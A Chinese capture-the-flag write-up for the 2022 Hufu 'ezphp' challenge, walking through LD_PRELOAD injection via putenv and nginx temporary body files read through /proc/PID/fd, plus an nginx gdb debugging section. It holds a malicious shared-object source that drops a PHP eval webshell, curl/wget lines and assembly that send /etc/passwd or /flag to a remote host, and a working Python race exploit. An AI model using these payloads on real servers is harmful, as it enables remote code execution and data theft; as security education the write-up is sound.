2022虎符ezphp完整过程

好久没打正儿八经打比赛了,好多知识点也没跟上,这个周末没啥事刚好虎符ctf给室友看了一个题目,工作了一年,很多东西反而更不知道了,一直踩坑,花了一些时间。

信息分析

题目附件直接给了一个docker,方便本地部署直接docker起一个环境。简单看了下是一个干净的debian系统,代码就一个index.php

1
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

第一反应肯定是p牛的这个博客 我是如何利用环境变量注入执行任意命令,
但是里面注入的思路基本是不可行的(或者太菜了没调通。主要原因应该是debian系统依赖的是dash,无交互情况下暂时没啥思路。
但是p牛文章第一条就是LD_PRELOAD,如果可以控制一个文件(或者说一个文件的部分内容。我们可以通过这种方法劫持

然后开始漫长的找文件过程中

准备工作

1.1、生成一个so文件

注意这里面要加一个unsetenv("LD_PRELOAD");否则会陷入无限死循环

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}

如果出网可以改成

1
2
wget --post-file=/etc/passwd addr
curl -F file=@/etc/passwd addr

然后编译gcc -shared -fPIC 1.c -o 1.so
会发现这so正常是16k,但是有时候要文件大一些,有时候要小一点,有没有什么方法压缩和拓展呢。

1.1.1、怎么让一个二进制最小(本题没用上,单纯记录一下

最小肯定是汇编了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SECTION .data

filename : db "/bin/curl",0
argv1 : db "curl",0
argv2 : db "-F",0
argv3 : db "file=@/flag",0
argv4 : db "xxx.xxx.xx.xx:xxx",0

SECTION .bss
SECTION .text

global _start ;
_start:
mov rax,0x3b ;
mov rdi,filename ;
push 0 ;
push argv4 ;
push argv3 ;
push argv2 ;
push argv1 ;
mov rsi,rsp ;
syscall ;
1
2
3
4
main.o:
nasm -f elf64 -g -F stabs main.asm -o main.o
main:
ld -o main main.o


1.1.2、怎么让一个二进制大一些

刚开始任务是在c源代码里面写很多printf之类的,增大体积,当然这样也是可以的。
后面发现其实一个so文件尾部追加脏字符也是可以的

1
2
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'`
$var >> 1.so

2、寻找能生成的文件。

这里的docker里面工具很少,我们给他装几个

1
2
3
apt-get install inotify-tools
apt-get install vim
apt-get install procps

监听文件inotifywait -mrq --timefmt '%y %m %d %H %M' --format '%T %w %f %e' / -e create,delete,close,然后写一个脚本上传文件

1
2
3
4
files = open("1.so", 'rb')
url = addr+"/index.php"
#print(url)
requests.post(url, data=files)

其实这里就主要是看陆队的这个博客了 hxp CTF 2021 - A New Novel LFI,文章中有提到/var/lib/nginx/body文件的利用,开监听后会发现确实这个文件在跟随文件上传变化。
再看看Nginx的官方文档 client_body_buffer_size

就很明朗了,当nginx接受的请求的body大于buffer的时候,会先将body存缓存文件中,防止内存不够。(因为中间发现文件有些奇怪,就调试了一下nginx最后会调用

src/os/unix/ngx_files.c:ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)


通过前方的inotifywait文件监控也可以看到这个文件的变化,我们发现在tmp目录下还会生成php{6位随机字母数字}的文件,但是经过计算复杂度,发现这种方法基本不可行。

但是看代码文件生成后正常是直接unlink的,但是这个文件会在nginx的fd中存留。
nginx在默认情况下是多个工作进程模式(如果单进程调试在配置中加master_process off;即可),我们在docker中ps -ef|grep nginx
,我们判定这个文件是nginx生成的,那么我们寻找的是pid=12的文件,但是这里我们会发现没权限查看到www-data用户的链接

既然是自己的docker,我们直接加一个shell.php,用蚁剑连接,然后查看。

比如这里的18,就是我们要的文件,经过测试发现这个文件存留时间大概是1-2s,所以足够我们加载了,在文件上传的脚本中甚至可以写一个sleep(1)。
本以为很顺利,但是在实际过程中,因为刚开增加so大小采用的是printf的方式,发现很多次LD_PRELOAD到了文件,但是访问是空白的,于是我在shell上直接LD_PRELOAD="/proc/12/fd/19",发现是Bus error

感觉到是二进制文件损坏了,但是文件变化太快了,所以采用cp /proc/12/fd/19 /tmp/1/tmp/10

这里面2.so是源文件,其他文件或多或少都小了一些,导致文件损坏。至于为什么,可以看文章后面的调试nginx章节给出原因。
这里才尝试了1.1.2、怎么让一个二进制大一些中通过其他字母填充。

3、2022虎符ezphp exp

1.c

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
1
2
3
gcc -shared -fPIC 1.c -o 1.so 
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
$var >> 1.so

这里因为都是走docker,我们根据本地调试确定大概fd位置,其实如果不给docker的话还是要爆破一下pid
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import _thread
import time
import requests
addr="http://120.79.121.132:xxxx"
def tr1():
while 1:
files = open("1.so", 'rb')
url = addr+"/index.php"
requests.post(url, data=files)
time.sleep(1)
def tr2():
while 1:
for i in range(11,16):
response = requests.get(addr+"/index.php?env=LD_PRELOAD=/proc/12/fd/../../12/fd/"+str(i))
print(str(i)+" Response body: %s" % response.content)
time.sleep(2)
try:
_thread.start_new_thread( tr1,())
_thread.start_new_thread( tr2,())
except:
print ("Error: 无法启动线程")

while 1:
pass

如果加载到了返回是空,我们也可以依此判断是否成功。

然后去访问shell.php

不过话说回来,这个题我是第一天晚上开始看的,开赛一整天了这个题目才三解,我在第二天早上提交的时候是四解。但是第二天比赛结束的时候居然有30解hhhh,大家可真会屯flag。

4、关于nginx缓存文件为什么不完整

4.1、先搭建动态调试环境

先从这里下源码https://github.com/nginx/nginx
然后下载gdb工具,这里用从曹师傅那偷来的虚拟机里面直接pwndbg,也可以自己装

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh

然后源码做一些配置

  • 1、GDB调试Nginx,需要在生成Nginx程序时把 -g 编译选项打开。我们需要修改 /auto/cc/conf 文件 把 ngx_compile_opt=”-c” 加上 -g 选项 变为 ngx_compile_opt=”-c -g”
  • 2、因为nginx默认会有工作进程,我们如果只是想调试就可以关闭进程模式,使用单进程模式,修改文件 nginx.conf 。加入master_process off;

然后执行
./nginx -c /xxxx/conf/nginx.conf
然后ps -ef |grep nginx查看进程号,最后gdb -p xxx

尝试一下断点b ngx_file.c:ngx_create_temp_file
然后访问

作为菜鸡,只要记住小几个命令就行了
使用p命令,求值(打印)表达式:

1
2
(gdb) p r->request_line
$2 = {len = 14, data = 0x1f844d8 "GET / HTTP/1.1\r\nHost"}

使用ptype命令,打印struct或者class的定义

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) ptype ngx_http_request_body_t
type = struct {
ngx_temp_file_t *temp_file;
ngx_chain_t *bufs;
ngx_buf_t *buf;
off_t rest;
off_t received;
ngx_chain_t *free;
ngx_chain_t *busy;
ngx_http_chunked_t *chunked;
ngx_http_client_body_handler_pt post_handler;
}

单步调试

1
s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;n: 执行一行源程序代码,此行代码中的函数调用也一并执行。

断点

1
2
3
4
5
info breakpoints / info break
break xxx
delete break id
d 删除所有断点
c 到下一个断点

查看函数栈

1
2
3
4
5
1)backtrace: 显示程序的调用栈信息,可以用bt缩写
2)backtrace n: 显示程序的调用栈信息,只显示栈顶n桢(frame)
3)backtrace –n: 显示程序的调用栈信息,只显示栈底部n桢(frame)
4)set backtrace limit n: 设置bt显示的最大桢层数
5)where, info stack:都是bt的别名,功能一样)

查看内存
x/100c 0x55b0abf51000

1
2
3
4
pwndbg> x/16c  0x55b0abf51000
0x55b0abf51000: 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A'
0x55b0abf51008: 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A'

回到上面说的,我们要断点到ngx_create_temp_file()函数,然后查看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/src/core/ngx_file.c:143)
ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/src/core/ngx_file.c:114)
ngx_http_write_request_body(ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:483)
ngx_http_request_body_save_filter(ngx_http_request_t * r, ngx_chain_t * in) (/src/http/ngx_http_request_body.c:1132)
ngx_http_request_body_length_filter(ngx_chain_t * in, ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:921)
ngx_http_request_body_filter(ngx_http_request_t * r, ngx_chain_t * in) (/src/http/ngx_http_request_body.c:855)
ngx_http_do_read_client_request_body(ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:292)
ngx_http_read_client_request_body(ngx_http_request_t * r, ngx_http_client_body_handler_pt post_handler) (/src/http/ngx_http_request_body.c:185)
ngx_http_fastcgi_handler(ngx_http_request_t * r) (/src/http/modules/ngx_http_fastcgi_module.c:748)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/src/http/ngx_http_core_module.c:1247)
ngx_http_core_run_phases(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:851)
ngx_http_internal_redirect(ngx_http_request_t * r, ngx_str_t * uri, ngx_str_t * args) (/src/http/ngx_http_core_module.c:2530)
ngx_http_index_handler(ngx_http_request_t * r) (/src/http/modules/ngx_http_index_module.c:277)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/src/http/ngx_http_core_module.c:1254)
ngx_http_core_run_phases(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:851)
ngx_http_process_request(ngx_http_request_t * r) (/src/http/ngx_http_request.c:2060)
ngx_http_process_request_headers(ngx_event_t * rev) (/src/http/ngx_http_request.c:1480)
ngx_http_process_request_line(ngx_event_t * rev) (/src/http/ngx_http_request.c:1151)

4.2、nginx缓存机制

最后通过调试nginx发现其实这个tmp文件也是分片分片进行追加的,每次追加的buf length是8192。
还记得我们之前失败的时候,转储的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(www-data:/proc/12/fd) $ ls -al /tmp
drwxrwxrwt 1 root root 4096 Mar 19 21:59 .
drwxr-xr-x 1 root root 4096 Mar 19 21:12 ..
-rw------- 1 www-data www-data 466944 Mar 19 21:58 10
-rw------- 1 www-data www-data 16384 Mar 19 21:58 11
-rw------- 1 www-data www-data 548864 Mar 19 21:58 12
-rw------- 1 www-data www-data 868352 Mar 19 21:58 2
-rw------- 1 www-data www-data 335872 Mar 19 21:58 3
-rw------- 1 www-data www-data 606208 Mar 19 21:58 4
-rw------- 1 www-data www-data 738125 Mar 19 21:58 5
-rw------- 1 www-data www-data 98304 Mar 19 21:58 6
-rw------- 1 www-data www-data 729933 Mar 19 21:58 7
-rw------- 1 www-data www-data 286720 Mar 19 21:58 8
-rw------- 1 www-data www-data 655360 Mar 19 21:58 9

原因

1
2
3
4
5
6
>>> 98304/8192 = 12.0
>>> 548864/8192 = 67.0
>>> 327680/8192 = 40.0
>>> 466944/8192 = 57.0
>>> 16384/8192 = 2.0
>>> 548864/8192 = 67.0

我们再分析其中的一个文件,比如12,我们发现头部是没问题的

只是尾部被截断

你可以理解这个so比如有80k,大小是8k 16k 24慢慢到的80k,而且到了80k这个文件会很快消失,但是我们的请求是瞬间的。所以我们采用追加空字符的方法来保证我们瞬间请求到的so的完整性。

其实回到最初,为什么fd会有文件,也是因为如果一个进程打开了某个文件同时在没有被关闭的情况下就被删除了,那么这个文件就会出现在 /proc/PID/fd/ 目录下,也就是说nginx在代码上生成后是直接删除的,但是buffer这边还在慢慢追加文件,等文件完整了才会彻底消失,给了我们利用的时间

那么如果我们的需求是完整的一个文件,不能被截断也不能有脏字符,那么我们是不是可以用8192或者16384字节大小能保证文件完整性。